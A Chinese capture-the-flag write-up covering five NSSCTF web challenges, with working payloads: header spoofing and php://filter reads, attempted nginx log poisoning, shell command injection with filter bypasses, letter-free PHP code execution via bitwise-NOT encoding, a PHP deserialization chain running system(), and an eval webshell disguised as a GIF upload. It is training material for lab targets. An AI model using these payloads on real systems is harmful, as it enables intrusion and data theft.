题目均源自NSSCTF靶场。
题目解析还是尽我所能把细节阐释到位,本次题目解析中我特别在细节理解上做了细致的处理,致力于一题多解,和别的wp相比更在payload的细节理解【我觉得在对能力提升上很有必要之处的理解部分】上地方多花了心思写,尽量做到看完一篇wp就能解决疑惑。
在解析过程中把解题逻辑理清晰,从小白视角解析清楚,把细枝末节的问题解释到位。
当然,如果题目解析哪里有不恰当的地方恳请各位师傅私信或评论区指出~
目录
[FSCTF 2023]巴巴托斯!【web】
开题。
开题即显示:【Access Denied! I love FSCTF Browser】
考查方向即是HTTP基础知识。
FSCTF Browser?
开hackbar插件去改协议头里User-Agent:FSCTF Browser即可。
能看到我们这边改了之后再发包,页面回显内容变化了。代表成功了。
我们接着看。
【Are you local man?】意思就是我是需要本地访问。
把Referer改成127.0.0.1即可【这里本身没有Referer,是添加了这个头才有的,选择MODIFY HEADER即可添加】
我一开始以为是把xff改成127.0.0.1【当然这是错的哈。注意区分XFF和Referer的区别】
改好了之后发包发现。页面上已经没有东西了。
我以为这个时候会回显flag。但事实并不。
这个时候我们注意到。被紫色方框圈住的部分
?file=show_image.php
个人经验告诉我,这个地方或许我们可以试着改成 flag.php ?
但很可惜。也没有任何回显。但同时又不是403界面 或者是其他错误界面。
我们随便换个名字试试。看看会不会报错。
这次是我随便乱输的一个文件名。这次报错证明了flag.php确实存在。但我们用上面那种形式去访问是访问不到的。
大概率是权限不足。
为什么?
当你尝试包含或者访问其他目录下的文件时,直接提供文件路径可能会受到一些安全性限制,例如 PHP 的 open_basedir 配置或禁止访问上级目录等。
我们换一种读取方式来让它回显。
这里获取flag的方法有两种。
法一:利用php伪协议读取
为什么会选择用伪协议?
通过使用伪协议,你可以改变文件路径的解释方式,绕过这些限制。例如,../ 在直接提供文件路径时可能被阻止,但在使用伪协议时,你可以使用类似 php://input、php://filter 或 data:// 等伪协议,使 PHP 解释器以不同的方式处理输入,从而实现跨目录包含。这就是为什么要使用伪协议的原因。
把这串base64加密后的字符串解密。
获取flag。
法二:RCE+目录穿越之nginx日志漏洞
这个方法我是在NSS靶场该题WP处看见其他师傅写的。觉得很有意思。
怎么理解这个方法?
我们在登入访问一个网站时候,一般会在/var/log/nginx/access.log【如果用的服务器是nginx】上留下痕迹。
NGINX软件会把每个用户访问网站的日志记录到指定的日志文件里,供网站者分析用户的浏览行为。
类似于如上图这种。会显示每一条。你登入的时间,访问网站的方式,浏览器是什么等等。
如果我们能够访问到这个界面,就意味着可以利用nginx日志漏洞。
一般情况下通过url是不可以访问到这个界面的,是受限的。
而通过目录穿越漏洞,我们可以访问到原本无法访问到的界面,即访问任意文件。
那么。如果我们在
?file=
处写下恶意php代码呢?
?file=<?php system('ls /');?>
然后我们再访问nginx日志。
但是日志这边似乎并没有将我的php代码诠释为命令执行,而是当作字符串读取。
再试试看
?file=<?php system('tac f*');?>
确实并没有将代码执行,而是类似于文本读取。
那我就不是很理解为什么另外一位师傅可以用这种方法读到flag了。
希望有知道的师傅可以私信指点一下~~
[FSCTF 2023]Hello,you【web】
哈哈。开题之前看见师傅的描述非常可爱~,遂记录下来。
开题。
先看看码源什么的。信息收集一下。
一段被注释掉的代码:
出现关键词【执行命令并返回结果】
我们来浅浅代码审计一下:
$input = isset($_GET['input']) ? $_GET['input'] : '';
// 执行命令并返回结果
function executeCommand($command) { //1.找到执行命令的函数,那么哪里可以调用此功能?
$output = '';
exec($command, $output); //exec执行命令$command,但并不回显,只把结果存储在$output中
return $output; //return语句把$output输出
}
// 注册用户
function registerUser($username) {
// .........
$command = "echo Hello, " . $username;
$result = executeCommand($command); //2.找到间接调用RCE的地方。哪里又可以调用这个函数?
return $result; //4.把得到的result输出。
}
// 处理注册请求
if (isset($_POST['submit'])) {
$username = $_POST['username'];
$result = registerUser($username); //3.找到可以调用注册用户的地方。
}
命令执行点在exec($command, $output);
我看大多数这道题的解释是“需要我们用【;】截断一下前面的代码。只执行后方的代码。”
payload:
1;ls
但是
怎么理解这个隔断payload?
$command = "echo Hello, " . $username; //而$username 就是1;ls
那么这个语句就会变成。
$command ="echo hello,1;ls"
这个再进入到
$result = executeCommand($command);
就变成
$result = executeCommand("echo hello,1;ls");
在RCE功能函数中具体就变成。
//FUCTION_RCE
function executeCommand("echo hello,1;ls") {
$output = '';
exec("echo hello,1;ls", $output);
return $output;
}
即先执行 echo hello,1;
之后再执行 ls
核心理解就是———避免了命令【ls】被当作字符串被echo输出
接着我们拿flag。即可。
但是这里存在过滤,不可以直接用:
1;cat flag;
需要绕过关键字。
cat我们中间用【\】处理。
flag用通配符【*】处理。
说到通配符:
* :表示匹配1 or 多个字符 ? :表示匹配一个字符 [] :类似于正则表达式(只能匹配一个字符)
所以【f*】能够匹配【flag.php】
故
payload1:
1;ca\t f*;
1;ta\c f*; //这个也可以
除了用【;】阻拦我们的命令被当作字符串输出。
【|】也可以。
即法二:
payload2:
1|ls //查看当前目录。1|ta\c f* //获取flag.
那为什么这个又可以?
【|】管道符。
命令1在这里是空。我们写 1|ls
后
是不会有像payload1那样输出【hello】的。
因为这里我们只执行 ls.
管道符【|】前面的 1 并没有消失,它被当作字符串读进 echo 代码行 ,但由于【|】只执行后方命令。也就是只在页面上输出【ls】后的结果。前面的【echo hello,1】确实存在但不予输出。
拿到flag。
其实还存在更多做法。并且我认为培养一题多解的思维非常有助于能力提升。
[鹏城杯 2022]简单的php【web】
开题。
先代码审计一下:
$code = $_GET['code'] //GET传参,参数名是code;
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello')};
//$code长度只能<=80 并且 不能含有字母,数字,及一些特殊字符。
这个时候就有点无字母RCE的感觉了。
else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
//如果if中的内容都不符合。且在把$code从里到外嵌套的函数扒开后只剩【;】的话就用eval函数以php代码形式执行$code。
//怎么理解把$code从里到外嵌套的函数扒开后只剩【;】?
//example
//假设code=print_r(getallheaders());之后先把getallheaders()去掉,得到code=print_r();再去掉print_r(),得到code=;后就满足代码【';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)】,此时执行【@eval($code);】,eval()中code还是【print_r(getallheaders())】
Tip:
[^\s\(\)]+?
表示不匹配所有空白符和()
一次或多次
\((?R)?\)
表示循环匹配()
一次或0次
那么这题的解法就属于无参数的取反RCE,并且需要二维数组绕过
我们先看看在题给的制度下,还有什么没有被过滤:
【下面这个php代码直接放本地运行/在线php运行都可以,preg_match中可以替换成其他,以后也可以使用,不限于这道题】
//看看哪些字符没有被过滤
<?php
for ($ascii=0; $ascii < 256; $ascii++){
if(!preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',chr($ascii))){
echo chr($ascii);
}
}
可以看见,取反【~】没有被过滤。
这个时候我们可以写一个脚本来构造payload:
//字符串phpinfo的样例
<?php
echo urlencode(~"phpinfo");
?>
得到:
%8F%97%8F%96%91%99%90 //phpinfo取反之后再urlencode [~%8F%97%8F%96%91%99%90] //等价于[phpinfo] [~%8F%97%8F%96%91%99%90][!%FF] // [!%ff] 这里类似于 [0] 会获取到第一位 即phpinfo
Tip:用二维数组进行拼接必须有[!%FF]进行分割
这里如果要拿到flag。我们需要配套如下函数一起食用:
主要 1、getallheaders() //获取流量包里的协议头 2、get_defined_vars() //获取已定义的所有数组 3、session_id() 配套 implode() 将一维数组转化为字符串 getchwd() 函数返回当前工作目录。 scandir() 函数返回指定目录中的文件和目录的数组。 dirname() 函数返回路径中的目录部分。 chdir() 函数改变当前的目录。 readfile() 输出一个文件。 current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 next() 函数将内部指针指向数组中的下一个元素,并输出。 end() 将内部指针指向数组中的最后一个元素,并输出。 array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。 array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。 array_slice() 函数在数组中根据条件取出一段值,并返回。 array_reverse() 函数返回翻转顺序的数组。 chr() 函数从指定的 ASCII 值返回字符。 hex2bin() — 转换十六进制字符串为二进制字符串。 getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。 localeconv() 函数返回一包含本地数字及货币格式信息的数组。
去试试取反是否成功。
/?code=[~%8F%97%8F%96%91%99%90][!%FF]();
看来是可以的。
这里我们用获取请求头的方式来拿flag。
结合之前的函数。
有payload:
//还没有取反之前的形式【还算不上payload】 ?code=system(end(getallheaders())); ?code=system(current(getallheaders())); ?code=system(pos(getallheaders())); //pos等价于current //取反之后的payload:用【?code=system(end(getallheaders())); 】做例子来解释 ?code=[~%8C%86%8C%8B%9A%92][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())); 然后我们用BP在HTTP头最底下随便写一个 x:ls / payload理解: //getallheaders()用于获取所有HTTP头里面的键值 //end(getallheaders())用于指向HTTP头里的最后一个值 //current(getallheaders())用于指向HTTP头里的第一个值 //pos同理,就是current的变名。 //system(end(getallheaders()))则执行HTTP头中最后一个的值。 即实际shellcode=system('ls /');
用BP拦截再发包一下。
/?code=[~%8C%86%8C%8B%9A%92][!%FF]([~%9C%8A%8D%8D%9A%91%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
//?code=system(current(getallheaders()));
但是用这个payload却拿不到flag。
/?code=[~%8C%86%8C%8B%9A%92][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
//?code=system(end(getallheaders()));
不太清楚为什么这个payload拿不到flag。但理论上完全没问题。
理论上完全是可以的。并且也有师傅已经实践出来了。
如果这里有师傅知道这里是为什么欢迎私信或评论区直接指出来~
[MoeCTF 2021]unserialize【web】
开题。
看代码长度可以首先分析得知是一题简单的反序列化。适合新手练习反序列化食用。
老规矩。从执行shell_code【恶意代码】的地方倒挖从而构造poc链。
同样,结合源代码一起来做个代码审计工作~
//本php代码可保存到本地运行得到目标payload,或者在线运行都可以得到payload。
<?php
highlight_file(__FILE__);
class entrance
{
public $start; //第8步:根据第7步将 $this->start = new springboard();
function __construct($start)
{
$this->start = $start;
}
function __destruct()
{
$this->start->helloworld();//第7步:根据第6步找到不存在的方法helloworld();同时把 $this->start = new springboard();
}
}
class springboard
{
public $middle;//第5步:根据第4步,将$this->start=new evil();
function __call($name, $arguments) #第6步:找到触发__call()的地方:【访问不存在的方法时触发】
{
echo $this->middle->hs;//第4步:根据第3步,整个代码中是没有属性hs的,所以此属性的值同样不存在,$this->start设置成【new evil()】可触发get魔术方法。
}
}
class evil
{
public $end;//第2步:根据第1步,$this->end设置成system('tac /f*');
function __construct($end)
{
$this->end = $end;
}
function __get($Attribute) //第3步:寻找哪可以触发魔术方法__get():[读取不可访问属性的值(private/protected/不存在)时,php就会执行__get()方法。]
{
eval($this->end); //第1步:shell_code执行处【eval(system('tac /f*');)】
}
}
#链子的构造:evil::__get()<--springboard::__call()<--entrance::__destruct()
#构造顺序倒过来即可。
$a=new entrance();
$a->start = new springboard();
$a->start->middle = new evil();
$a->start->middle->end ="system('tac /f*');";
$b=serialize($a);
echo urlencode($b);
?>
#链子的构造顺序:evil::get()<--springboard::call()<--entrance::__destruct()
这道题还有一个很好的地方就是,同时运用到了魔术方法get和call加深了对这二者的理解。
而这两者在很多时候会混淆。
__get()是在读取不可访问属性的值触发。
__call()是在读取不可访问方法时触发。
二者存在本质区别。
得到payload:
O%3A8%3A%22entrance%22%3A1%3A%7Bs%3A5%3A%22start%22%3BO%3A11%3A%22springboard%22%3A1%3A%7Bs%3A6%3A%22middle%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A3%3A%22end%22%3Bs%3A18%3A%22system%28%27tac+%2Ff%2A%27%29%3B%22%3B%7D%7D%7D
【上面的一串码urldecode之后就是如下:】
O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:18:"system('tac /f*');";}}}
得到flag。
[WUSTCTF 2020]CV Maker【web】
开题。
页面上方的【home】【Overview】点击了也没什么反应。大概率那些部分都是静态。
那我们先尝试一下主页面这个注册界面。
ok。
得到一个界面如下:
而这个界面中除了更换头像+上传两个可以用,其他均为静态【没什么用,点了也没反应】。
显然这大概就是一个上传题。
我们需要用到BP来拦截改包再重发来做到植入恶意代码
从而获取FLAG。
这个是我们拦截【还没有植入恶意代码之前】的流量包。
我们稍微修改一下内容,植入木马。
木马内容:
GIF89a
<script language='php'> @eval($_POST['shell']);</script>
这里的GIF89a 是jpg文件头。
然后我们去访问界面
url/uploads/058f0dcc2ce0ee6d9ef779307f2ee3a3.php
但是为什么看不见flag。?
开蚁剑链接我们的后门看看。
这里有个特别需要注意的事。如果用校园网的话,可能蚁剑没法连接上。
这个时候解决办法就是:开自己热点去连。就ok了。
真相了。它根目录下的flag是假的。内容为空。
那怎么找?
去phpinfo()里看看也许会比较方便。
OK。拿到flag。
但是这道题还有一个非预期解。
直接dirsearch扫目录。
发现url/phpinfo.php是可以直接访问的。
如果可以直接访问。【应该出题这块没有设置好。或者说是签到题,不然这个不应该可以直接访问到的】
FLAG也就很容易到手了。
发现也同样能拿到flag。